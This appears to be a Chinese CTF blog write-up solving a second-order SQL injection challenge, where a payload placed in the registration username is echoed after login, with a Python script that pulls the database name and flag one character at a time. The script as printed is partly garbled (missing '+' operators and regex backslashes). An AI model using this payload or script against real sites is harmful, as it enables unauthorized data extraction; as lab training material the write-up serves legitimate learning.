简介
这是一道有关sql注入的题,本人使用攻防世界搭建的环境。
详解
打开网址,首页是一个登录页面。
随便试个账户登录,发现不行,登录不了。页面点点也没什么东西。
尝试一下有没有注册页面,修改网址----http://61.147.171.105:50774/register.php
。果然有。
也可以用dirsearch工具扫描,可以看我另一篇博客讲解dirsearch。
随便注册个账户。
邮箱:1@1 用户名:1 密码:1
发现跳回到登录页面了,应该是注册成功了,登录账户。
随便点点也没什么东西。但是有个1
应该是回显了用户名。大胆猜测用户名应该就是注入点。
构造payload:
0' ascii(substr((select * from flag) from 1 for 1)) '0
写python脚本爆破:
代码语言:javascript复制import requests
import re
register_url = "http://61.147.171.105:50774//register.php"
login_url = "http://61.147.171.105:50774//login.php"
database = ""
flag = ""
# 获取数据库名
for i in range(1, 10):
register_data = {
'email': 'test@test' str(i) 'db',
'username': "0' ascii(substr((select database()) from %d for 1)) '0" % i,
'password': 123
}
r = requests.post(url=register_url, data=register_data)
login_data = {
'email': 'test@test' str(i) 'db',
'password': 123
}
r = requests.post(url=login_url, data=login_data)
match = re.search(r'<span class="user-name">s*(d*)s*</span>', r.text)
asc = match.group(1)
if asc == '0':
break
database = database chr(int(asc))
print('database:', database)
# 获取flag
for i in range(1, 100):
register_data = {
'email': 'test@test' str(i) 'flag',
'username': "0' ascii(substr((select * from flag) from %d for 1)) '0" % i,
'password': 123
}
r = requests.post(url=register_url, data=register_data)
login_data = {
'email': 'test@test' str(i) 'flag',
'password': 123
}
r = requests.post(url=login_url, data=login_data)
match = re.search(r'<span class="user-name">s*(d*)s*</span>', r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag chr(int(asc))
print('flag:', flag)
Python
成功获取:flag{2494e4bf06734c39be2e1626f757ba4c}
可以爆破出数据库名----web,但是爆破不出数据库中的表名,页面尝试手工爆破表名返回nnnooo。虽然爆破不了表名,但是CTF一般都是将falg存在表名为flag的表中。
结语
好好学习,天天向上!!!